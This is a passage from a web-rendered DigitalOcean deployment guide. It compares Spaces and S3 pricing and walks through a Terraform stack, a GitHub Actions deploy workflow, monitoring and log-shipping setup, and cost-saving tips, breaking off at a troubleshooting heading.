            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h4><table>
<thead>
<tr>
<th><strong>Service</strong></th>
<th><strong>Pricing</strong></th>
</tr>
</thead>
<tbody><tr>
<td><strong>DigitalOcean Spaces</strong></td>
<td>$5/month for 250GB + 1TB transfer<br>$0.02/GB over 250GB storage<br>$0.01/GB over 1TB transfer</td>
</tr>
<tr>
<td><strong>AWS S3 (us-east-1)</strong></td>
<td>$0.023/GB storage<br>$0.09/GB transfer<br>Minimum ~$10-20/month for typical app</td>
</tr>
<tr>
<td><strong>Heroku + S3</strong></td>
<td>Must use external S3 + egress fees</td>
</tr>
</tbody></table>
<p><strong>Example</strong>: 100GB storage + 500GB transfer/month:</p>
<ul>
<li><strong>Spaces</strong>: $5/month (included in base)</li>
<li><strong>AWS S3</strong>: $2.30 (storage) + $45 (transfer) = $47.30/month</li>
<li><strong>Savings</strong>: 89%</li>
</ul>
<hr>
<h2 id="h2-infrastructure-as-code" class="group relative scroll-mt-24">
        <a href="#h2-infrastructure-as-code" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Infrastructure as Code
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-infrastructure-as-code"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Managing DigitalOcean resources via Terraform ensures reproducibility and version control.</p>
<h3 id="h3-terraform-example-full-stack" class="group relative scroll-mt-24">
        <a href="#h3-terraform-example-full-stack" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Terraform Example: Full Stack
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-terraform-example-full-stack"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>main.tf</strong>:</p>
<pre><code class="hljs language-hcl"><span class="hljs-keyword">terraform</span> {
  required_providers {
    digitalocean = {
      source  = <span class="hljs-string">&quot;digitalocean/digitalocean&quot;</span>
      version = <span class="hljs-string">&quot;~&gt; 2.34&quot;</span>
    }
  }
}

<span class="hljs-keyword">provider</span> <span class="hljs-string">&quot;digitalocean&quot;</span> {
  token = var.do_token
}

<span class="hljs-comment"># VPC for private networking</span>
<span class="hljs-keyword">resource</span> <span class="hljs-string">&quot;digitalocean_vpc&quot;</span> <span class="hljs-string">&quot;main&quot;</span> {
  name     = <span class="hljs-string">&quot;production-vpc&quot;</span>
  region   = <span class="hljs-string">&quot;nyc3&quot;</span>
  ip_range = <span class="hljs-string">&quot;10.10.0.0/16&quot;</span>
}

<span class="hljs-comment"># PostgreSQL Database</span>
<span class="hljs-keyword">resource</span> <span class="hljs-string">&quot;digitalocean_database_cluster&quot;</span> <span class="hljs-string">&quot;postgres&quot;</span> {
  name       = <span class="hljs-string">&quot;production-postgres&quot;</span>
  engine     = <span class="hljs-string">&quot;pg&quot;</span>
  version    = <span class="hljs-string">&quot;15&quot;</span>
  size       = <span class="hljs-string">&quot;db-s-2vcpu-4gb&quot;</span>
  region     = <span class="hljs-string">&quot;nyc3&quot;</span>
  node_count = <span class="hljs-number">1</span>
  
  private_network_uuid = digitalocean_vpc.main.id
}

<span class="hljs-keyword">resource</span> <span class="hljs-string">&quot;digitalocean_database_db&quot;</span> <span class="hljs-string">&quot;app&quot;</span> {
  cluster_id = digitalocean_database_cluster.postgres.id
  name       = <span class="hljs-string">&quot;myapp&quot;</span>
}

<span class="hljs-keyword">resource</span> <span class="hljs-string">&quot;digitalocean_database_user&quot;</span> <span class="hljs-string">&quot;app&quot;</span> {
  cluster_id = digitalocean_database_cluster.postgres.id
  name       = <span class="hljs-string">&quot;myapp-user&quot;</span>
}

<span class="hljs-comment"># Redis Cache</span>
<span class="hljs-keyword">resource</span> <span class="hljs-string">&quot;digitalocean_database_cluster&quot;</span> <span class="hljs-string">&quot;redis&quot;</span> {
  name       = <span class="hljs-string">&quot;production-redis&quot;</span>
  engine     = <span class="hljs-string">&quot;redis&quot;</span>
  version    = <span class="hljs-string">&quot;7&quot;</span>
  size       = <span class="hljs-string">&quot;db-s-1vcpu-1gb&quot;</span>
  region     = <span class="hljs-string">&quot;nyc3&quot;</span>
  node_count = <span class="hljs-number">1</span>
  
  private_network_uuid = digitalocean_vpc.main.id
}

<span class="hljs-comment"># Spaces Bucket</span>
<span class="hljs-keyword">resource</span> <span class="hljs-string">&quot;digitalocean_spaces_bucket&quot;</span> <span class="hljs-string">&quot;uploads&quot;</span> {
  name   = <span class="hljs-string">&quot;myapp-production&quot;</span>
  region = <span class="hljs-string">&quot;nyc3&quot;</span>
  
  cors_rule {
    allowed_headers = [<span class="hljs-string">&quot;*&quot;</span>]
    allowed_methods = [<span class="hljs-string">&quot;GET&quot;</span>, <span class="hljs-string">&quot;PUT&quot;</span>, <span class="hljs-string">&quot;POST&quot;</span>]
    allowed_origins = [<span class="hljs-string">&quot;https://myapp.com&quot;</span>]
    max_age_seconds = <span class="hljs-number">3000</span>
  }
}

<span class="hljs-comment"># App Platform App</span>
<span class="hljs-keyword">resource</span> <span class="hljs-string">&quot;digitalocean_app&quot;</span> <span class="hljs-string">&quot;web&quot;</span> {
  spec {
    name   = <span class="hljs-string">&quot;myapp&quot;</span>
    region = <span class="hljs-string">&quot;nyc&quot;</span>

    service {
      name               = <span class="hljs-string">&quot;web&quot;</span>
      instance_count     = <span class="hljs-number">2</span>
      instance_size_slug = <span class="hljs-string">&quot;professional-xs&quot;</span>
      
      github {
        repo           = <span class="hljs-string">&quot;myorg/myapp&quot;</span>
        branch         = <span class="hljs-string">&quot;main&quot;</span>
        deploy_on_push = true
      }
      
      env {
        key   = <span class="hljs-string">&quot;DATABASE_URL&quot;</span>
        value = digitalocean_database_cluster.postgres.uri
        type  = <span class="hljs-string">&quot;SECRET&quot;</span>
      }
      
      env {
        key   = <span class="hljs-string">&quot;REDIS_URL&quot;</span>
        value = digitalocean_database_cluster.redis.uri
        type  = <span class="hljs-string">&quot;SECRET&quot;</span>
      }
      
      env {
        key   = <span class="hljs-string">&quot;SPACES_KEY&quot;</span>
        value = var.spaces_key
        type  = <span class="hljs-string">&quot;SECRET&quot;</span>
      }
    }
  }
}

<span class="hljs-keyword">output</span> <span class="hljs-string">&quot;app_live_url&quot;</span> {
  value = digitalocean_app.web.live_url
}

<span class="hljs-keyword">output</span> <span class="hljs-string">&quot;database_uri&quot;</span> {
  value     = digitalocean_database_cluster.postgres.uri
  sensitive = true
}
</code></pre><p><strong>Apply infrastructure</strong>:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Initialize</span>
terraform init

<span class="hljs-comment"># Plan changes</span>
terraform plan -var=<span class="hljs-string">&quot;do_token=<span class="hljs-variable">$DIGITALOCEAN_TOKEN</span>&quot;</span>

<span class="hljs-comment"># Apply</span>
terraform apply -var=<span class="hljs-string">&quot;do_token=<span class="hljs-variable">$DIGITALOCEAN_TOKEN</span>&quot;</span>
</code></pre><hr>
<h2 id="h2-cicd-with-github-actions" class="group relative scroll-mt-24">
        <a href="#h2-cicd-with-github-actions" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          CI/CD with GitHub Actions
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-cicd-with-github-actions"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Automate deployments to DigitalOcean App Platform.</p>
<p><strong>.github/workflows/deploy.yml</strong>:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">name:</span> <span class="hljs-string">Deploy</span> <span class="hljs-string">to</span> <span class="hljs-string">DigitalOcean</span>

<span class="hljs-attr">on:</span>
  <span class="hljs-attr">push:</span>
    <span class="hljs-attr">branches:</span> [<span class="hljs-string">main</span>]
  <span class="hljs-attr">pull_request:</span>
    <span class="hljs-attr">branches:</span> [<span class="hljs-string">main</span>]

<span class="hljs-attr">jobs:</span>
  <span class="hljs-attr">test:</span>
    <span class="hljs-attr">runs-on:</span> <span class="hljs-string">ubuntu-latest</span>
    
    <span class="hljs-attr">services:</span>
      <span class="hljs-attr">postgres:</span>
        <span class="hljs-attr">image:</span> <span class="hljs-string">postgres:15</span>
        <span class="hljs-attr">env:</span>
          <span class="hljs-attr">POSTGRES_PASSWORD:</span> <span class="hljs-string">postgres</span>
        <span class="hljs-attr">options:</span> <span class="hljs-string">&gt;-
          --health-cmd pg_isready
          --health-interval 10s
          --health-timeout 5s
          --health-retries 5
</span>    
    <span class="hljs-attr">steps:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">uses:</span> <span class="hljs-string">actions/checkout@v4</span>
      
      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Set</span> <span class="hljs-string">up</span> <span class="hljs-string">Node.js</span>
        <span class="hljs-attr">uses:</span> <span class="hljs-string">actions/setup-node@v4</span>
        <span class="hljs-attr">with:</span>
          <span class="hljs-attr">node-version:</span> <span class="hljs-string">&#x27;20&#x27;</span>
          <span class="hljs-attr">cache:</span> <span class="hljs-string">&#x27;npm&#x27;</span>
      
      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Install</span> <span class="hljs-string">dependencies</span>
        <span class="hljs-attr">run:</span> <span class="hljs-string">npm</span> <span class="hljs-string">ci</span>
      
      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Run</span> <span class="hljs-string">tests</span>
        <span class="hljs-attr">run:</span> <span class="hljs-string">npm</span> <span class="hljs-string">test</span>
        <span class="hljs-attr">env:</span>
          <span class="hljs-attr">DATABASE_URL:</span> <span class="hljs-string">postgresql://postgres:postgres@localhost:5432/test</span>
  
  <span class="hljs-attr">deploy:</span>
    <span class="hljs-attr">needs:</span> <span class="hljs-string">test</span>
    <span class="hljs-attr">runs-on:</span> <span class="hljs-string">ubuntu-latest</span>
    <span class="hljs-attr">if:</span> <span class="hljs-string">github.ref</span> <span class="hljs-string">==</span> <span class="hljs-string">&#x27;refs/heads/main&#x27;</span>
    
    <span class="hljs-attr">steps:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">uses:</span> <span class="hljs-string">actions/checkout@v4</span>
      
      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Install</span> <span class="hljs-string">doctl</span>
        <span class="hljs-attr">uses:</span> <span class="hljs-string">digitalocean/action-doctl@v2</span>
        <span class="hljs-attr">with:</span>
          <span class="hljs-attr">token:</span> <span class="hljs-string">${{</span> <span class="hljs-string">secrets.DIGITALOCEAN_TOKEN</span> <span class="hljs-string">}}</span>
      
      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Trigger</span> <span class="hljs-string">App</span> <span class="hljs-string">Platform</span> <span class="hljs-string">deploy</span>
        <span class="hljs-attr">run:</span> <span class="hljs-string">|
          APP_ID=$(doctl apps list --format ID --no-header)
          doctl apps create-deployment $APP_ID --wait</span>
</code></pre><p><strong>Required GitHub Secrets</strong>:</p>
<ul>
<li><code>DIGITALOCEAN_TOKEN</code>: Personal access token from DigitalOcean</li>
</ul>
<hr>
<h2 id="h2-monitoring-and-observability" class="group relative scroll-mt-24">
        <a href="#h2-monitoring-and-observability" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Monitoring and Observability
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-monitoring-and-observability"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-built-in-app-platform-metrics" class="group relative scroll-mt-24">
        <a href="#h3-built-in-app-platform-metrics" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Built-in App Platform Metrics
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-built-in-app-platform-metrics"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>DigitalOcean provides basic metrics out of the box:</p>
<ul>
<li>CPU usage per service</li>
<li>Memory usage</li>
<li>Request count and latency (p50, p95, p99)</li>
<li>HTTP error rates (4xx, 5xx)</li>
<li>Active connections</li>
</ul>
<p>Access via: <strong>Apps → Your App → Insights</strong></p>
<h3 id="h3-log-aggregation" class="group relative scroll-mt-24">
        <a href="#h3-log-aggregation" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Log Aggregation
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-log-aggregation"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Built-in Logs</strong>:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># View live logs via CLI</span>
doctl apps logs <span class="hljs-variable">$APP_ID</span> --follow

<span class="hljs-comment"># View specific component</span>
doctl apps logs <span class="hljs-variable">$APP_ID</span> --<span class="hljs-built_in">type</span> run --follow
</code></pre><p><strong>Forward to External Service</strong> (Datadog, Logtail, etc.):</p>
<p>Add log shipping in your app:</p>
<pre><code class="hljs language-javascript"><span class="hljs-comment">// Node.js with Winston → Logtail</span>
<span class="hljs-keyword">import</span> winston <span class="hljs-keyword">from</span> <span class="hljs-string">&#x27;winston&#x27;</span>;
<span class="hljs-keyword">import</span> { <span class="hljs-title class_">Logtail</span> } <span class="hljs-keyword">from</span> <span class="hljs-string">&#x27;@logtail/node&#x27;</span>;
<span class="hljs-keyword">import</span> { <span class="hljs-title class_">LogtailTransport</span> } <span class="hljs-keyword">from</span> <span class="hljs-string">&#x27;@logtail/winston&#x27;</span>;

<span class="hljs-keyword">const</span> logtail = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Logtail</span>(process.<span class="hljs-property">env</span>.<span class="hljs-property">LOGTAIL_TOKEN</span>);

<span class="hljs-keyword">const</span> logger = winston.<span class="hljs-title function_">createLogger</span>({
  <span class="hljs-attr">transports</span>: [<span class="hljs-keyword">new</span> <span class="hljs-title class_">LogtailTransport</span>(logtail)],
});

logger.<span class="hljs-title function_">info</span>(<span class="hljs-string">&#x27;Application started&#x27;</span>, { <span class="hljs-attr">service</span>: <span class="hljs-string">&#x27;web&#x27;</span> });
</code></pre><h3 id="h3-database-monitoring" class="group relative scroll-mt-24">
        <a href="#h3-database-monitoring" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Database Monitoring
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-database-monitoring"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>DigitalOcean Managed Databases include:</p>
<ul>
<li>Connection pool stats</li>
<li>Query performance insights</li>
<li>Replication lag monitoring</li>
<li>Disk usage alerts</li>
</ul>
<pre><code class="hljs language-bash"><span class="hljs-comment"># View database metrics</span>
doctl databases metrics production-postgres
</code></pre><p><strong>Set up alerts</strong>:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Create CPU alert</span>
doctl monitoring alert create \
  --<span class="hljs-built_in">type</span> v1/insights/droplet/cpu \
  --threshold 80 \
  --window 5m \
  --entities production-postgres
</code></pre><h3 id="h3-apm-integration" class="group relative scroll-mt-24">
        <a href="#h3-apm-integration" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          APM Integration
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-apm-integration"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Integrate with Datadog, New Relic, or Sentry:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Add APM env vars to App Platform</span>
doctl apps update <span class="hljs-variable">$APP_ID</span> --set-env=<span class="hljs-string">&quot;DD_API_KEY=your-key&quot;</span>
doctl apps update <span class="hljs-variable">$APP_ID</span> --set-env=<span class="hljs-string">&quot;DD_SERVICE=myapp&quot;</span>
doctl apps update <span class="hljs-variable">$APP_ID</span> --set-env=<span class="hljs-string">&quot;DD_ENV=production&quot;</span>
</code></pre><hr>
<h2 id="h2-cost-optimization-tips" class="group relative scroll-mt-24">
        <a href="#h2-cost-optimization-tips" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Cost Optimization Tips
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-cost-optimization-tips"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-1-use-reserved-database-capacity" class="group relative scroll-mt-24">
        <a href="#h3-1-use-reserved-database-capacity" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          1. Use Reserved Database Capacity
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-1-use-reserved-database-capacity"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>For predictable workloads, reserved capacity saves 20-30%:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Currently not available via CLI, purchase through UI</span>
<span class="hljs-comment"># Databases → Manage → Reserved Capacity</span>
</code></pre><h3 id="h3-2-right-size-your-instances" class="group relative scroll-mt-24">
        <a href="#h3-2-right-size-your-instances" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          2. Right-Size Your Instances
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-2-right-size-your-instances"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Start small, scale up based on metrics:</p>
<pre><code class="hljs language-yaml"><span class="hljs-comment"># Start here</span>
<span class="hljs-attr">instance_size_slug:</span> <span class="hljs-string">basic-xs</span>  <span class="hljs-comment"># $5/month, 512MB RAM</span>

<span class="hljs-comment"># Scale to this if needed</span>
<span class="hljs-attr">instance_size_slug:</span> <span class="hljs-string">professional-xs</span>  <span class="hljs-comment"># $24/month, 1GB RAM</span>
</code></pre><p>Monitor memory usage: If consistently &gt;80%, upgrade. If &lt;50%, downgrade.</p>
<h3 id="h3-3-enable-auto-scaling" class="group relative scroll-mt-24">
        <a href="#h3-3-enable-auto-scaling" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          3. Enable Auto-Scaling
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-3-enable-auto-scaling"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Only pay for capacity during traffic spikes:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">autoscaling:</span>
  <span class="hljs-attr">min_instance_count:</span> <span class="hljs-number">2</span>
  <span class="hljs-attr">max_instance_count:</span> <span class="hljs-number">10</span>
  <span class="hljs-attr">metrics:</span>
    <span class="hljs-attr">cpu:</span>
      <span class="hljs-attr">percent:</span> <span class="hljs-number">75</span>
</code></pre><h3 id="h3-4-use-development-environments-wisely" class="group relative scroll-mt-24">
        <a href="#h3-4-use-development-environments-wisely" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          4. Use Development Environments Wisely
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-4-use-development-environments-wisely"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Don&#39;t run staging 24/7:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Pause staging app when not needed</span>
doctl apps update <span class="hljs-variable">$STAGING_APP_ID</span> --spec staging-app.yaml

<span class="hljs-comment"># In staging-app.yaml, set instance_count: 0</span>
</code></pre><p>Or use ephemeral preview environments (GitHub integration).</p>
<h3 id="h3-5-optimize-database-connections" class="group relative scroll-mt-24">
        <a href="#h3-5-optimize-database-connections" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          5. Optimize Database Connections
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-5-optimize-database-connections"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Use connection pooling to reduce database cluster size:</p>
<pre><code class="hljs language-javascript"><span class="hljs-comment">// Bad: Each request creates new connection</span>
<span class="hljs-keyword">const</span> client = <span class="hljs-keyword">new</span> pg.<span class="hljs-title class_">Client</span>(process.<span class="hljs-property">env</span>.<span class="hljs-property">DATABASE_URL</span>);
<span class="hljs-keyword">await</span> client.<span class="hljs-title function_">connect</span>();

<span class="hljs-comment">// Good: Use connection pool</span>
<span class="hljs-keyword">const</span> pool = <span class="hljs-keyword">new</span> pg.<span class="hljs-title class_">Pool</span>({
  <span class="hljs-attr">connectionString</span>: process.<span class="hljs-property">env</span>.<span class="hljs-property">DATABASE_URL</span>,
  <span class="hljs-attr">max</span>: <span class="hljs-number">20</span>,  <span class="hljs-comment">// Match your DB pool size</span>
});
</code></pre><hr>
<h2 id="h2-common-gotchas-and-troubleshooting" class="group relative scroll-mt-24">
        <a href="#h2-common-gotchas-and-troubleshooting" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Common Gotchas and Troubleshooting
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
